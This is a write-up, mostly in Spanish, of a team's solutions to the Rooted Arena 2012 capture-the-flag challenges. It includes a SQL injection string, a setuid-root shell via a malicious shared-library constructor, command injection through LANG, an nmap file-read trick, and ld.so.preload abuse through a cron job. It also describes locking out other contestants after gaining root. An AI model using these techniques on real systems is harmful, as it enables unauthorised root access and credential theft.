Rooted Arena 2012 - Complete write-up

As you probably know, "int3pids" participated for the first time in this contest... and we won it! :-) This year's challenges were not so mature and indeed there is a big chance for improvement for the next year. But it was still funny to solve some of them (others were a real PITA). Now, the complete write-up follows...  Note #1: We presented it to the Organization in .pdf... and in Spanish. We had no time to translate into English (sorry!). Note #2: Rules forced us to deliver the doc *before* the contest ended. So don't expect a very elaborated documentation. Enjoy! - - -

Rooted Arena 2012

Informe

26 Febrero 2012

Introducción

Este informe detalla el proceso de resolución de las pruebas del concurso RootedArena 2012 desarrollado entre el 17 de Febrero de 2012 y el 26 de Febrero de 2012.

La información disponible al principio del concurso consistía de una tabla con los datos de acceso a las distintas pruebas. Para alguna de las pruebas era necesario descubrir parte de los datos de acceso mientras que para otras toda la información se proporcionaba desde un principio.

La tabla tal cual se podía ver en el PDF entregado a los participantes se reproduce en la siguiente imagen:

Desarrollo de las pruebas

En esta sección se describe el proceso de resolución de cada una de las pruebas completadas durante el concurso. Para las pruebas no completadas, se proporciona una breve descripción de las distintas aproximaciones realizadas.

Las pruebas se encuentran listadas en base al número de prueba, y no al tiempo de resolución de las mismas.

Prueba 00

Resolución

Realizando un escaneo de la red obtenemos la siguiente lista de hosts activos:

Host 10.1.0.1 appears to be up.
Host 10.1.0.21 appears to be up.
Host 10.1.0.22 appears to be up.
Host 10.1.0.23 appears to be up.
Host 10.1.0.24 appears to be up.
Host 10.1.0.25 appears to be up.
Host 10.1.0.26 appears to be up.
Host 10.1.0.254 appears to be up.

Se puede ver que el host 10.1.0.1 parece activo pero no aparecía en el listado de máquinas de pruebas. Realizamos un escaneo de puertos y descubrimos que en esta máquina se puede acceder a un servidor DNS. Obteniendo información de la clase chaos del DNS averiguamos el hostname ctf2012:

$ dig hostname.bind txt chaos @10.1.0.1
; <<>> DiG 9.7.3 <<>> hostname.bind txt chaos @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19104
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;hostname.bind.                 CH      TXT

;; ANSWER SECTION:
hostname.bind.          0       CH      TXT     "ctf2012"

;; AUTHORITY SECTION:
hostname.bind.          0       CH      NS      hostname.bind.

;; Query time: 39 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sun Feb 26 22:02:33 2012
;; MSG SIZE  rcvd: 65

Seguidamente obtenemos los datos asociados a este host:

$ dig ctf2012 ANY @10.1.0.1

; <<>> DiG 9.7.3 <<>> ctf2012 ANY @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4997
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;ctf2012.                       IN      ANY

;; ANSWER SECTION:
ctf2012.                604800  IN      SOA     localhost. root.localhost. 31338 604800 86400 2419200 604800
ctf2012.                604800  IN      NS      ns.ctf2012.
ctf2012.                604800  IN      TXT     "prueba00 key=quite_clever_dns_is_useful"

;; ADDITIONAL SECTION:
ns.ctf2012.             604800  IN      A       10.1.0.1

;; Query time: 42 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sat Feb 25 16:26:24 2012
;; MSG SIZE  rcvd: 160

Clave

La clave para obtener la puntuación de esta prueba es: quite_clever_dns_is_useful

Prueba 01

Resolución

Nos conectamos vía SSH y nos movemos al directorio /home/ctf01. Allí encontramos un archivo LEEME cuyo contenido es “La clave es el Password.”. Posteriormente, encontramos un directorio con registros del sistema en /logs, y analizando el contenido de los logs encontramos el siguiente texto:

Password: kLmmNooP0

Clave

La clave para obtener la puntuación de esta prueba es: kLmmNooP0

Prueba 02

Resolución

Al acceder al home del usuario proporcionado nos encontramos con 2 pcap y un archivo llamado cryptcat que se encuentra vacío y al cual no podemos acceder. Descargamos los pcap y analizamos el archivo llamado prueba2.cap. Podemos ver una conexión con un intercambio de datos sobre TCP, que asumimos está cifrada con cryptcat.

Tras varios intentos de reproducir los datos y descifrarlos con cryptcat conseguimos el resultado con los siguientes comandos tras extraer los datos del pcap al archivo flujo:

$ cryptcat -k kLmmNooP0 -l -p 8000 > decrypted
$ cat flujo | nc -v localhost 8000

Con esto obtenemos un archivo PDF, que contiene el siguiente código JavaScript:

7 0 obj
<<
 /Type /Action
 /S /JavaScript
 /JS (app.alert(FileNM);app.alert({cMsg: 'This PDF was created using Didier Stevens tools. Challenge key is = [didiermola]', cTitle: 'RootedCON2012 CTF: makepdf 1_1 - PRUEBA2 MUY SIMPLE', nIcon: 3});)
>>
endobj

Clave

La clave para obtener la puntuación de esta prueba es: didiermola

Prueba 03

Resolución

En el directorio home del usuario ctf03 se puede encontrar una imagen de 512MB. Al descargarla y hacer un strings se puede comprobar que se trata de un sistema de ficheros, pero que al intentar montarlo falla puesto que la imagen está corrupta.

Tras varios intentos de recuperar el sistema de ficheros con Testdisk, para intentar conseguir un archivo potencialmente interesante que aparece al hacer strings (aparece la siguiente ruta /home/AAAAAA/CTF2012/AAA/AAAAA/AAAA/rooted.txt), decidimos simplemente seguir analizando la salida de strings.

Tras un tiempo mirando cadenas sin sentido, aparecen las siguientes frases:

las coordenadas están en los ficheros.
you can find coordinates into the files.

Tras esto, pasamos foremost en busca de algún fichero que pueda contener coordenadas. Las primeras ideas apuntan a ficheros JPEG con las coordenadas en los metadatos EXIF. Sin embargo, este camino parece llevar a ninguna parte. Entre los archivos recuperados con foremost aparecen dos archivos wav, cuyo contenido consiste claramente de tonos DMTF.

Tras decodificarlos, obtenemos los siguientes valores: 51594744 y 00443394. Lo siguiente es jugar con Google Maps y varias combinaciones de estos números. Tras varias pruebas que nos llevan al medio del océano y a partes que no nos dicen nada, llegamos al siguiente punto:

Cómo se puede observar en el mapa se trata de Bletchley Park, localización famosa por su utilización por la inteligencia aliada durante la II Guerra Mundial como centro de criptoanálisis.

Clave

La clave para obtener la puntuación de esta prueba es: Bletchley Park

Prueba 04

Resolución

Tras acceder al home del usuario, podemos ver un shell script con nombre sender. Analizando el script, vemos que extrae un fichero XML de él. Extrayendo dicho fichero con uudecode obtenemos los siguientes datos:

ctf04
ppLggd099
R3Sti
1
md5

Probamos varias combinaciones de esta información cómo md5(time + seed + pass), md5(seed+pass+time), etc. Hasta dar con md5(pass+seed) que nos da el token correcto.

Clave

La clave para obtener la puntuación de esta prueba es: 9073a59977303ebdfea39302f407cc6e

Prueba 05

Resolución

La contraseña de acceso al servidor SSH para el usuario ctf05 resulta ser el mismo password obtenido en el archivo XML de la prueba 04. Tras acceder al SSH encontramos un APK con una aplicación Android a reversear en /usr/CTF/prueba05/crackme2.apk.

Mediante dex2jar convertimos el apk en jar y procedemos a decompilarlo usando JD-GUI. Con esto, podemos ver que la aplicación contiene un receptor de SMSs cuyo acceso parece ser protegido por una clave.

Analizando la clase SMSReceiver vemos que en primer lugar valida los SMS recibidos usando TDES para descifrar valores obtenidos de los recursos del APK. Una vez validado el SMS, se inicia la clase KeyScreen, que pide una clave y la valida de una forma similar.

Finalmente, cuando esta clave es correcta se llama a CrackmeDone, que a su vez descifra la clave final desde los recursos del APK. Puesto que no se disponía del entorno de ejecución de Android cuando se realizó la prueba, se decidió resolverla estáticamente.  El código que muestra la clave final es el siguiente:

package com.android.crackme;

import android.app.Activity;
import android.content.res.Resources;
import android.os.Bundle;
import android.widget.TextView;
import com.chilkatsoft.a;

public class CrackmeDone extends Activity
{
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903042);
    TextView localTextView = (TextView)findViewById(2131034115);
    a locala = new a();
    if (!locala.g("Belén Esteban, prinsesa der pueblo0o0h!"));
    while (true)
    {
      return;
      locala.d("3des");
      locala.f("cbc");
      locala.b();
      locala.a();
      locala.c("hex");
      locala.e("md5");
      locala.b(getResources().getString(2130968579), "hex");
      locala.a(locala.b(getResources().getString(2130968580)), "hex");
      String str = locala.a(getResources().getString(2130968581));
      localTextView.setText("" + str + "\n");
    }
  }
}

Para reproducir dicho código, se utilizó el siguiente script Python para obtener la clave final, utilizando las mismas librerías criptográficas usadas por el crackme. Antes de ello, necesitamos extraer las cadenas de los recursos y averiguar qué cadena pertenece a cada parámetro numérico utilizado en el código. Para ello usamos apktool:

import sys
import chilkat
import binascii


def mdecode (str):
    out = ""
    for e in str:
        out = out + chr( (ord(e)-32+47)%94 + 32)
    return out

crypt = chilkat.CkCrypt2()

success = crypt.UnlockComponent("Anything for 30-day trial.")
if (success != True):
    print "Crypt component unlock failed"
    sys.exit()

#  Specify 3DES for the encryption algorithm:
crypt.put_CryptAlgorithm("3des")

crypt.put_CipherMode("cbc")
crypt.put_KeyLength(192)
crypt.put_PaddingScheme(0)
crypt.put_EncodingMode("hex")
crypt.put_HashAlgorithm("md5")

keyAscii = "000102030405060708090A0B0C0D0E0F0001020304050607"
ivAscii = "0001020304050607"
crypt.SetEncodedIV(ivAscii,"hex")
crypt.SetEncodedKey(crypt.hashStringENC(keyAscii),"hex")

encStr = "5C2259CE34701A6C79FE3E054197344D14C8817DDE225A74333EC66D6D45F41141AE9B5264A036EA4C4510D6F3DC27D5"

#  Now decrypt:
decStr = crypt.decryptStringENC(encStr)
print decStr

Una vez ejecutado, el resultado es el siguiente:

Here you have your key: c4r4c0l3s_3n_pr1m4v3r4!

Además de esta clave final, también desciframos las otras cadenas mediante scripts similares por si fuesen útiles para otras pruebas. El resultado de descifrar las otras dos cadenas es el siguiente:

chuck_n0rr1s_t0d0p0d3r0s0
ch4ll3ng3_s0lv3d?_n0p3_1s_chuck_t3st4

Para estas últimas hubo que sacar el código de la clase CipherAlgorithm mediante baksmali, puesto que JD-GUI no lo reconstruye correctamente. El código obtenido con baksmali es el siguiente:

:goto_0
   if-lt v0, v3, :cond_0

   invoke-virtual {v1},
Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

   move-result-object v0

   return-object v0

   :cond_0
   aget-char v4, v2, v0

   add-int/lit8 v4, v4, -0x20

   add-int/lit8 v4, v4, 0x2f

   rem-int/lit8 v4, v4, 0x5e

   add-int/lit8 v4, v4, 0x20

   int-to-char v4, v4

   invoke-virtual {v1, v4},
Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;

   add-int/lit8 v0, v0, 0x1

   goto :goto_0

Que implementado en Python queda como sigue:

def mdecode (str):
    out = ""
    for e in str:
        out = out + chr( (ord(e)-32+47)%94 + 32)
    return out

Clave

La clave para obtener la puntuación de esta prueba es: c4r4c0l3s_3n_pr1m4v3r4!

Prueba 06

Resolución

Tras escanear la IP proporcionada ( 10.1.0.23 ) obtenemos la siguiente lista de servicios abiertos:

$ nmap scan report for 10.1.0.23
 Host is up (0.036s latency).
 Not shown: 1017 closed ports
 PORT   STATE SERVICE
 22/tcp open  ssh
 47/tcp open  ni-ftp
 80/tcp open  http
 81/tcp open  hosts2-ns
 86/tcp open  mfcobol
 87/tcp open  priv-term-l
 88/tcp open  kerberos-s

Además, el fichero otraprueba.pcap obtenido en la prueba 02 nos proporciona información sobre el servicio en el puerto 80 de esta máquina. Tras analizar las capturas, creamos un script en python para pasar valores arbitrarios (incluyendo imágenes con texto creadas con convert de ImageMagick) al servicio.

El servicio responde en ocasiones detectando la imagen, y en otras ocasiones con CODE IS INVALID. Además, la máquina sufre problemas continuos resultando en inaccesibilidad al servicio, bien por problemas de conexión o por errores tipo Internal Server Error.

Cambiando los valores en la imagen por otros valores intentando buscar inyecciones SQL, obtenemos el siguiente error usando el texto 000000’ /* AA:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4097 OR PARSE ERROR
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

 Además, también obtenemos otro error SQL distinto al pasar cadenas como 000001´OR 1=1 /*:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4098: SELECT QUERY FAILED ON [000001]
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

En cambio, realizando ligeros cambios en la sentencia obtenemos resultados que parecen incoherentes: la petición es aceptada perfectamente y nuestra cadena es devuelta por el servicio o el parse error anterior es devuelto.

Esto nos lleva a pensar que no hay un servidor SQL real detrás del servicio. Tras varias pruebas más y paciencia probando con UNION SELECT´s con valores distintos, llegamos a la combinación mágica:

000000\'     UNION      SELECT     \'1\'  ,  \'1\'  ,  \'1\' /*

Utilizando este texto en la imagen recibimos la siguiente respuesta:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><namesp1:plateResponse 
xmlns:namesp1="urn:ws"><s-gensym3 xsi:type="xsd:string">31337OWNED
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

Como se puede observar, no hay en ningún momento referencias a campos conteniendo la clave ni nada similar. Con una sentencia así, uno esperaría obtener campos con valor 1 en el resultado en lugar de una clave tal cual.

Esto lleva a la conclusión de que no hay motor SQL detrás de la prueba sino una serie de comprobaciones sobre la cadena obtenida tras el paso por el OCR.

Clave

La clave para obtener la puntuación de esta prueba es: 31337OWNED

Prueba 07

Resolución

De nuevo un servicio en la máquina maldita. Esta vez se trata del puerto 81, que indica ser un Roxen Web Server 0.99.19B. Además del 81, este servicio estaba corriendo en otros puertos como el 86, 87 y 88, aunque aparentemente era el mismo servicio puesto que cuando caía uno caían todos.

Al hacer una petición GET al servicio, se obtiene un error HTTP 401 Unauthorized:

UTCDate: Sat Feb 25 14:04:08 UTC 2012

HTTP/1.1 401 Unauthorized
Date: Sat, 25 Feb 2012 14:04:08 GMT
Server: Roxen Web Server 0.99.19B
Content-Type: text/html
Content-Length: 59

<title>401 Unauthorized</title>
<h1>401 Unauthorized</h1>

En este caso, hasta que no aparecen las pistas no sabemos muy bien por dónde tirar. Aunque se realizaron pruebas con métodos HTTP inválidos (ver http://www.kernelpanik.org/docs/kernelpanik/bme.esp.pdf como referencia a estos métodos para saltarse la autenticación HTTP) en ningún caso se prueba con GETT puesto que los ataques conocidos funcionan con cualquier método.

Tras conocer la pista de que GETT es el método a utilizar, aparentemente arbitrario, intentamos obtener listados de directorios de diversas formas. Al final probamos con GETT /key obteniendo la clave correcta:

$ echo -en "GETT /key\n\n" | nc 10.1.0.23 81 
UTCDate: Sat Feb 25 14:01:49 UTC 2012

Key=UNDESAFIOTRIVIAL

Clave

La clave para obtener la puntuación de esta prueba es: UNDESAFIOTRIVIAL

Prueba 08

Resolución

La prueba 08 está otra vez albergada en la máquina maldita, con lo cual no podemos acceder a ella durante bastante parte del reto. Tras conocer mediante las pistas que existen datos necesarios para la prueba 08 en la prueba 07, empezamos a probar más métodos de obtener listados de directorios: 

.DS_Store, .listing, .listingX, etc. Finalmente damos con un listado en files que contiene lo siguiente:

$ echo -en "GETT /files\n\n" | nc 10.1.0.23 81
FILES                   <this>
LEEME                   3b33cdb923442b126b516e61d770179f
prueba08.ctf2012        http://prueba08.ctf2012:81/tok/<tokenvalue>
seed.eid                4df041ef22f0aa49d41e85dae32b3aad
RTDToken.7z             4bd1472270ba572d3d81c2cd244717e7
k?????????????????????????????????????????????????????b8

Aunque no podemos bajar el archivo 7z, al conectar al IRC vemos que el mismo está en el topic para poder descargarlo desde https://arena2012.rootedcon.es/pruebas/RTDToken.7z. Tras descargarlo y ejecutarlo, metemos el PIN que ya hemos obtenido del ZIP de la prueba 12 (mediante fuerza bruta).

Con dicho PIN, obtenemos un token que utilizamos para hacer una petición al mismo servicio de la prueba 07. El resultado es el siguiente:

$ echo -en "GETT /tok/9F652850\n\n" | nc 10.1.0.23 81 
TOKEN_OK: 9F652850
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS

Luego nos damos cuenta que con cualquier token nos está dando la clave correcta. Para comprobar esto y que no se trata de un error por nuestra parte, entramos en la máquina bastilla1 en la cual ya disponemos de acceso root y un binario con netcat.

Desde allí lanzamos la petición con un token puesto a ZZZZZZZZ varias veces. Aunque no siempre nos da la clave, sí que lo hace en varias ocasiones:

root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~#
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS

Esto nos indica que el token aparentemente no es necesario, o que lo devuelve correctamente durante buena parte del tiempo siempre que la longitud sea la correcta.

Clave

La clave para obtener la puntuación de esta prueba es: IWASMADEWITHSTOLENSEEDS

Prueba 09

Resolución

Analizando el texto cifrado vemos cadenas que se repiten como "pobrovWmviB". Haciendo búsquedas en Google por algunas de ellas (de diferentes tamaños) llegamos a la página: http://easyciphers.com/

Allí nos llama la atención el cifrado "Affine". Tras documentarnos, buscamos una manera de romper este cifrado. Necesitamos obtener los parámetros "a" y "b". Hay 312 claves (combinaciones) posibles, no es mucho, pero necesitamos alguna herramienta como "Norse Cryptanalysis Tools". Funciona introduciendo una cadena que creamos debe existir en el texto en claro (ej: "the" en textos en inglés) y te devuelve las combinaciones de "a" y "b" que producen la cadena anterior en el texto sin cifrar. En nuestro caso utilizamos "porque" (cifrado: czifrv).

Una vez obtenidos los valores de "a" y "b" apropiados (a=3, b=9), podemos descifrar el texto con la herramienta anterior o por ejemplo con esta otra que tenemos online:
http://rumkin.com/tools/cipher/affine.php

Clave

La clave para obtener la puntuación de esta prueba es: Alonso Quijano

Prueba 10

Resolución

Basándonos en la última pista publicada, obtenemos el texto descifrado ejecutando:

$ openssl enc -d -des -in prueba10.bin -k 2102NOCdetooR
  -out descifrado.txt

Clave

La clave para obtener la puntuación de esta prueba es: 2102NOCdetooR

Prueba 11

Resolución

Esta prueba no se llegó a resolver durante el concurso. Desde que supimos que se trataba de una máquina enigma tras recibir la primera pista, empezamos a realizar fuerza bruta con una herramienta de Didier Stevens ligeramente modificada.

Por alguna razón, no pudimos identificar nada coherente en la salida de la herramienta. Tras ver las últimas pistas, ahora mismo se podría resolver utilizando un simple script de perl y el módulo Crypt::Enigma obtenido desde CPAN, haciendo una pequeña fuerza bruta de un número reducido de opciones.

Clave

Esta prueba no se llegó a resolver durante el concurso.

Prueba 12

Resolución

El primer día obtuvimos por fuerza bruta la contraseña del fichero ZIP (03133700) y probamos sin éxito con varias herramientas de esteganografía, pero no logramos dar con la solución hasta la publicación de la última pista. Vimos un bloque sospechoso a partir del offset 496 del fichero descomprimido (1.avi), que resultó ser el texto “SUIT UP?” codificado con EBCDIC. Sin embargo, el último carácter (0xBB) no decodificaba correctamente y en principio no tiene equivalente en dicha codificación, por lo que probamos algunas variantes hasta dar con la solución final.

Clave

La clave para obtener la puntuación de esta prueba es: SUIT UP!

Prueba 13

Resolución

Tras probar varias de las claves obtenidas en otros niveles, logramos acceder al usuario bastilla1 con la clave del nivel 0, quite_clever_dns_is_useful. Analizando la máquina observamos que existe un directorio /CTF con el siguiente contenido:

bastilla1@bastilla1:/CTF$ ls -la
total 20
drwxr-xr-x  3 root      root      4096 Feb 24 01:33 .
drwxr-xr-x 21 root      root      4096 Feb 19 13:20 ..
drwx------  2 bastilla2 bastilla2 4096 Feb 20 01:44 plugins
--ws--s--x  1 root      root      5832 Jan 28 01:27 restme

Se puede observar un binario con setuid root, que es claramente el objetivo de la prueba. Al ejecutar el binario se obtiene la siguiente salida:

[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: .......
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.0]
[RES]                   Valx=1
[RES second stage]      Valx=2

Podemos ver que el binario carga una librería compartida del directorio plugins, que pertenece al usuario bastilla2. Este usuario no es accesible vía SSH como podemos observar en el fichero /etc/passwd:

bastilla2:x:1001:1001:Bastilla 2,,,:/CTF/plugins:/bin/false

Puesto que mediante un escaneo de puertos habíamos determinado que existía un servidor FTP en el puerto 21, intentamos acceder con el usuario bastilla2 y diversos passwords. Al intentar con bastilla2 conseguimos acceso al FTP.

Intentando pasar distintos parámetros al binario nos damos cuenta que el número utilizado en el nombre de la librería cambia con el primer carácter del primer parámetro. Con esto, y mediante el acceso FTP al directorio de plugins, subimos un fichero compartido con un constructor que ejecuta una shell:

#include <stdio.h>

static void __attribute__((constructor))  my_init(void)
{
      setreuid(0,0);
      unlink("/home/eleva4/PWNED]");
      execl("/bin/bash","bash",(char *)0);
}

Tras compilar y subir este archivo como libctf.so.1 y ejecutar el binario con el parámetro 1 conseguimos la shell de root:

bastilla1@bastilla1:/CTF$ ./restme 1
[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: ............
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.1]
bash-4.1# cat KEY
L33TDYNLOADING

Tras obtener este acceso, cambiamos el password de root y de los demás usuarios de la máquina, cerramos cualquier conexión SSH abierta por otros usuarios y borramos la librería utilizada para elevar privilegios.

Clave

La clave para obtener la puntuación de esta prueba es: L33TDYNLOADING

Prueba 14

Resolución

De nuevo conectamos a la máquina objetivo mediante el uso del usuario bastilla2 y el password obtenido como solución a la prueba 00. A partir de ahí, buscamos binarios con los flags setuid activos que podamos ejecutar con este usuario. El primero que llama la atención es el siguiente archivo:

-rwsr-sr-x 1 eleva1 eleva1 3104 Feb  3 23:10 /usr/include/lct/.. /eleva

Al ejecutarlo obtenemos automáticamente acceso shell con el usuario eleva1. Esto nos indica que ahora toca buscar elevar privilegios a eleva2. Si nos movemos al home del usuario nos encontramos con un fichero eleva2 que de nuevo nos permitirá elevar privilegios:

---s--s--x 1 eleva2 eleva2 3880 Feb  3 23:48 eleva2

Buscando por la máquina también encontramos unos templates en /usr/share/eleva que parecen variar con el lenguaje utilizado y contienen los datos mostrados por eleva2 por pantalla. Intentamos inyectar comandos en la variable de entorno LANG para ver si el programa no la sanitiza correctamente al utilizarla:

eleva1@bastilla2:~$ LANG=";id;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
uid=1001(eleva1) gid=1001(eleva1) euid=1002(eleva2) egid=1002(eleva2) groups=1002(eleva2),1001(eleva1)
sh: /template: No such file or directory

Por tanto, podemos ejecutar comandos como el usuario eleva2. Esto nos permite obtener el password del usuario:

eleva1@bastilla2:~$ LANG=";cat /home/eleva2/PASSWD;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
avanzandofuerte
sh: /template: No such file or directory
eleva1@bastilla2:~$

En este punto, nos damos cuenta que el binario nmap con suid del usuario eleva4 es ejecutable por cualquier usuario de la máquina. Por tanto, decidimos centrarnos en dicho binario en lugar de explotar eleva3. Tras buscar por vulnerabilidades de la versión de nmap en cuestión, encontramos que ejecutando el siguiente comando podemos obtener el password del usuario eleva4:

eleva1@bastilla2:~$ nmap -iL /home/eleva4/PASSWD localhost 
Starting Nmap 5.00 ( http://nmap.org ) at 2012-02-19 21:17 MSK
Failed to resolve given hostname/IP: muyhabilinteractivo.  Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds

Tras acceder como eleva4, decidimos sobrescribir el binario nmap para que cualquier usuario que no haya accedido a dicho nivel todavía no sea capaz de hacerlo. Seguidamente encontramos el siguiente archivo:

$ ls /usr/ARENA/eleva44.pl -l
-r-s--x--x 1 root root 1703 Feb 18 00:13 /usr/ARENA/eleva4.pl

Este binario es lanzado vía cron cada 5 minutos, como se puede observar en el cron.log:

Feb 20 03:35:01 bastilla2 /USR/SBIN/CRON[29700]: (root) CMD (/usr/ARENA/eleva4.pl)

Analizando el home del usuario eleva4 observamos que el fichero status.log contiene la salida del script perl anterior. Aunque no conocemos el código, podemos observar que dichos datos vienen del servicio 10.1.0.23:47, puesto que contiene líneas como las siguientes:

OK in exec: [logger 1329693938 Remote service 47 checked OK]

Puesto que podemos controlar el fichero status.log eliminándolo o creando uno nuevo, y el programa lo abre como root y añade líneas a éste, en un primer momento decidimos reemplazarlo por un enlace simbólico a /etc/ld.so.preload. De esta forma esperamos poder cargar una librería con nombre OK en cualquier fichero que se ejecute en el sistema, y de ahí escalar privilegios mediante cualquier binario setuid.

Sin embargo, esto no funciona puesto que aún no controlamos los datos escritos, y el mecanismo de preloading mediante este archivo requiere que se proporcionen rutas absolutas. Seguidamente, observamos unos ficheros aux.XXX en /tmp con el siguiente contenido:

http://10.1.0.23:47/

Con esto, decidimos eliminar todos los ficheros aux.XXX y crear enlaces simbólicos a un fichero controlado por nosotros en el directorio /home/eleva4. En este fichero escribimos la IP de la máquina bastilla1 que ya controlamos, y ponemos un netcat a enviar respuestas a cualquier petición con este contenido:

HTTP/1.1 200 OK
Date: Sun, 19 Feb 2012 22:02:32 GMT
Server: Apache
Last-Modified: Wed, 08 Feb 2012 13:30:48 GMT
ETag: "3820abc-c-4b873e74a5200"
Accept-Ranges: bytes
Content-Length: 28
Vary: Accept-Encoding
Content-Type: text/html

STATUS = /home/eleva4/PWNED

Una vez hecho esto, esperamos a que se lance el proceso mediante cron y observamos que ahora todos los procesos intentan cargar dicha librería. Entonces creamos la librería con el mismo código usado en la prueba de bastilla1 y ejecutamos un binario suid root (ping) para obtener root.

sh-4.1# cat KEY
HEAVYLOCALLOLCAT

De nuevo, una vez obtenido acceso root, cambiamos todos los passwords y modificamos los ficheros con claves en la máquina. Echamos a cualquier usuario conectado en este punto y nos aseguramos acceso continuado a la máquina durante el resto del concurso por si fuese necesario.

Clave

La clave para obtener la puntuación de esta prueba es: HEAVYLOCALLOLCAT

Prueba 15

Resolución

Con las pistas obtenidas y la información encontrada en el archivo LEEME~ en la prueba 07, intentamos probar el par arenahip:arenahop como usuario y contraseña para la máquina 10.1.0.23 vía SSH. Enseguida nos damos cuenta que el acceso está cerrado, probablemente mediante el uso de /bin/false como shell.

Sin embargo, tras una rápida búsqueda en google, se puede comprobar que dicha protección sigue permitiendo realizar port forwarding. Por tanto, en un terminal ejecutamos la siguiente línea de comandos para redirigir el puerto 4000 local al puerto ssh de la máquina 10.1.0.27:

$ ssh -L 4000:10.1.0.27:22 arenahip@10.1.0.23 -vN

Seguidamente, conectamos a dicha máquina con otra terminal y los mismos datos de acceso:

$ ssh arenahip@localhost -p 4000
arenahip@localhost's password:
Last login: Fri Feb 24 00:33:08 2012 from 10.1.0.23
arenahip@prueba15:~$ ls
KEY
arenahip@prueba15:~$ cat KEY
KEY=BOUNCIN'JACKFLASH
arenahip@prueba15:~$

Clave

La clave para obtener la puntuación de esta prueba es: BOUNCIN'JACKFLASH

Conclusiones

El concurso ha estado divertido pero consideramos que se ha abusado del concepto de "idea feliz". Había pruebas que simplemente no se podían resolver sin pistas; otras con grandes incoherencias (como la 06 del falso "SQL").

Tampoco ha ayudado que haya pruebas que dependan de otras, en especial aquellas como la 07, que estuvieron caídas la mayor parte del concurso y provocando un enorme "atasco" entre los participantes. Y por último, el tener que "adivinar" passwords (tomarlos de otras pruebas, fuerza bruta, etc) tampoco es buena idea. Pensamos que se ha hecho así para dilatar artificialmente el tiempo de concurso, cosa que tampoco consideramos apropiada: el concurso no debería durar más de un fin de semana e idealmente todas las pruebas se deberían de poder resolver técnicamente sin necesidad de pistas ni "pensamiento lateral". Esto último no es real en absoluto puesto que en la vida real un atacante dispone de un "contexto" (y por tanto, de información adicional con la que jugar y enlazar con ideas), algo de lo que se carecía en este caso.

